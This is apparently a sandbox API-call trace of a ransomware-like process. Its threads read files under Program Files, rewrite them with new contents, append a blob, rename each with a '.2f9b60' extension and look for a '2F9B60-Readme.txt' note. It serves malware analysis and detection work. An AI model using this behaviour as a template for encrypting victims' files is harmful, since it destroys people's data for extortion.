0x757995d7 [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x4ef4c086 [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x6e239b6a [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x12e1191 [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x1fde2729 [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x241fe11a [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x1c6b56f7 [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x71b167b1 [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x3041dfdf [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x2aa3b096 [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x483dbd4e [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x198f9d94 [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x207e0e69 [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x2c8c4aa6 [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x55536c94 [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0xf045dc8 [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x3fb48983 [0142.090] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0xbdd83 [0142.090] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x742408a3 [0142.090] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x640af831 [0142.090] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x5b0865c3 [0142.090] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x4da06fd3 [0142.090] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x1047404e [0142.090] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x5821c0e2 [0142.090] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x72ca764c [0142.090] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x558f3baf [0142.090] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x24a20dc9 [0142.090] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x6d864baf [0142.090] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x781c1b2d [0142.090] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x2dca61fd [0142.090] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x392aae1a [0142.090] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 0x65c7dbf5 [0142.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe7d0 [0142.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061ab0 [0142.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe800 [0142.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061ab0) returned 1 [0142.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe7a0) returned 1 [0142.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0142.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061ab0 [0142.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422401c0 [0142.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42243dd0 [0142.107] ReadFile (in: hFile=0x1fc0, lpBuffer=0x422401c0, nNumberOfBytesToRead=0x2308, lpNumberOfBytesRead=0x2b90fa30, lpOverlapped=0x0 | out: lpBuffer=0x422401c0*, lpNumberOfBytesRead=0x2b90fa30*=0x2308, lpOverlapped=0x0) returned 1 [0142.142] SetFilePointerEx (in: hFile=0x1fc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.142] WriteFile (in: hFile=0x1fc0, lpBuffer=0x42243dd0*, nNumberOfBytesToWrite=0x2308, lpNumberOfBytesWritten=0x2b90fa34, lpOverlapped=0x0 | out: lpBuffer=0x42243dd0*, lpNumberOfBytesWritten=0x2b90fa34*=0x2308, lpOverlapped=0x0) returned 1 [0143.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265490 [0143.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202654f0 [0143.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202654f0) returned 1 [0143.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42243dd0) returned 1 [0143.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422401c0) returned 1 [0143.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061ab0) returned 1 [0143.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0143.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059f10 [0143.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591f0 [0143.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061ab0 [0143.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202654f0 [0143.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202654f0) returned 1 [0143.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059a10 [0143.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202654f0 [0143.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265580 [0143.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265580) returned 1 [0143.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061ab0) returned 1 [0143.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0143.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x126) returned 0x1b866130 [0143.328] SetFilePointerEx (in: hFile=0x1fc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.328] WriteFile (in: hFile=0x1fc0, lpBuffer=0x1b866130*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2b90fb50, lpOverlapped=0x0 | out: lpBuffer=0x1b866130*, lpNumberOfBytesWritten=0x2b90fb50*=0x126, lpOverlapped=0x0) returned 1 [0143.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866130) returned 1 [0143.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0143.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202654f0) returned 1 [0143.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0143.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265490) returned 1 [0143.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe770) returned 1 [0143.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe7d0) returned 1 [0143.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe800) returned 1 [0143.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205e9a0 [0143.548] wcscpy (in: _Dest=0x4205e9a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg" [0143.548] wcscat (in: _Dest=0x4205e9a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg.2f9b60" [0143.548] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg.2f9b60", NtPathName=0x2b90fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1ced0040 [0143.548] NtSetInformationFile (FileHandle=0x1fc0, IoStatusBlock=0x2b90fc10, FileInformation=0x1ced0040, Length=0xd8, FileInformationClass=0xa) returned 0x0 [0145.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0040) returned 1 [0145.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a340) returned 1 [0145.332] NtQueryInformationFile (in: FileHandle=0x1fc0, IoStatusBlock=0x2b90fbd8, FileInformation=0x2b90fbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b90fbd8, FileInformation=0x2b90fbe8) returned 0x0 [0145.332] NtSetInformationFile (FileHandle=0x1fc0, IoStatusBlock=0x2b90fbd8, FileInformation=0x2b90fbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e9a0) returned 1 [0145.339] FlushFileBuffers (hFile=0x1fc0) returned 1 [0145.353] CloseHandle (hObject=0x1fc0) returned 1 [0145.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050d0b0 [0145.354] wcscpy (in: _Dest=0x2050d0b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.354] wcscat (in: _Dest=0x2050d0b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d0b0) returned 1 [0147.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1070c0) returned 1 Thread: id = 1889 os_tid = 0x1044 [0133.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimagesmask.bmp")) returned 0x20 [0134.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0137.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b6c [0139.867] GetFileSizeEx (in: hFile=0x1b6c, lpFileSize=0x2cd3fda0 | out: lpFileSize=0x2cd3fda0*=1592) returned 1 [0139.867] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.867] ReadFile (in: hFile=0x1b6c, lpBuffer=0x2cd3fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cd3fd68, lpOverlapped=0x0 | out: lpBuffer=0x2cd3fd20*, lpNumberOfBytesRead=0x2cd3fd68*=0x4, lpOverlapped=0x0) returned 1 [0139.951] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b940 [0139.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bb50 [0139.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bbe0 [0139.952] NtQuerySystemTime (in: CurrentTime=0x2cd3fc60 | out: CurrentTime=0x2cd3fc60*=132462177451966000) returned 0x0 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x45a5fb41 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x261202f0 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x7386561e [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x6b66d82a [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x6a11a369 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x514b0ac2 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x51f95bd9 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x52cec108 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x3604f60e [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x194f61cf [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x5aa2ff29 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x52d985bb [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x221e6dd0 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x5f2ff2b2 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x6eaa51d7 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x3db67efd [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x50407ae [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x53701654 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0xf1a2f9f [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x75f6dfa3 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x473a4cea [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x764c1222 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x3ec0a15d [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x1d76dd6d [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x57d7788e [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x51db1bf1 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x35acc5c5 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x622e47bf [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x388a5a35 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x5b6b34e2 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0xf8f9930 [0139.952] RtlRandomEx (in: Seed=0x2cd3fc50 | out: Seed=0x2cd3fc50) returned 0x5a6a2062 [0139.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bc10 [0139.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0139.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bc40 [0139.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0139.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bbe0) returned 1 [0139.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b940) returned 1 [0139.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0139.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0139.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b940 [0139.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b940) returned 1 [0139.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42195d50 [0139.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42199960 [0139.961] ReadFile (in: hFile=0x1b6c, lpBuffer=0x42195d50, nNumberOfBytesToRead=0x638, lpNumberOfBytesRead=0x2cd3fc50, lpOverlapped=0x0 | out: lpBuffer=0x42195d50*, lpNumberOfBytesRead=0x2cd3fc50*=0x638, lpOverlapped=0x0) returned 1 [0139.961] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.961] WriteFile (in: hFile=0x1b6c, lpBuffer=0x42199960*, nNumberOfBytesToWrite=0x638, lpNumberOfBytesWritten=0x2cd3fc54, lpOverlapped=0x0 | out: lpBuffer=0x42199960*, lpNumberOfBytesWritten=0x2cd3fc54*=0x638, lpOverlapped=0x0) returned 1 [0139.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b940 [0139.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd00 [0139.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bd00) returned 1 [0139.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42199960) returned 1 [0139.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42195d50) returned 1 [0139.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0139.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0139.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d610 [0139.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0139.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0139.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd00 [0139.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bd00) returned 1 [0139.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d670 [0139.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd00 [0139.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd90 [0139.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bd90) returned 1 [0139.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0139.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0139.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12e) returned 0x1885d0 [0139.994] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0139.994] WriteFile (in: hFile=0x1b6c, lpBuffer=0x1885d0*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2cd3fd70, lpOverlapped=0x0 | out: lpBuffer=0x1885d0*, lpNumberOfBytesWritten=0x2cd3fd70*=0x12e, lpOverlapped=0x0) returned 1 [0139.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1885d0) returned 1 [0139.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d670) returned 1 [0139.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bd00) returned 1 [0139.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d610) returned 1 [0139.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b940) returned 1 [0139.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bb50) returned 1 [0140.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bc10) returned 1 [0140.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bc40) returned 1 [0140.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118e30 [0140.000] wcscpy (in: _Dest=0x118e30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp" [0140.000] wcscat (in: _Dest=0x118e30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp.2f9b60" [0140.000] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp.2f9b60", NtPathName=0x2cd3fd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0140.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x1b798260 [0140.000] NtSetInformationFile (FileHandle=0x1b6c, IoStatusBlock=0x2cd3fe30, FileInformation=0x1b798260, Length=0xe0, FileInformationClass=0xa) returned 0x0 [0147.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798260) returned 1 [0147.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051690) returned 1 [0147.117] NtQueryInformationFile (in: FileHandle=0x1b6c, IoStatusBlock=0x2cd3fdf8, FileInformation=0x2cd3fe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cd3fdf8, FileInformation=0x2cd3fe08) returned 0x0 [0147.117] NtSetInformationFile (FileHandle=0x1b6c, IoStatusBlock=0x2cd3fdf8, FileInformation=0x2cd3fe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118e30) returned 1 [0147.141] FlushFileBuffers (hFile=0x1b6c) returned 1 [0147.153] CloseHandle (hObject=0x1b6c) returned 1 [0147.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050bcc0 [0147.158] wcscpy (in: _Dest=0x2050bcc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0147.158] wcscat (in: _Dest=0x2050bcc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0147.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bcc0) returned 1 [0147.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106700) returned 1 Thread: id = 1890 os_tid = 0x1048 [0133.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106c40 [0133.468] wcscpy (in: _Dest=0x106c40, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" [0133.468] wcscat (in: _Dest=0x106c40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\" [0133.468] wcscat (in: _Dest=0x106c40, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*" [0133.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce217a0 [0133.468] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x10, 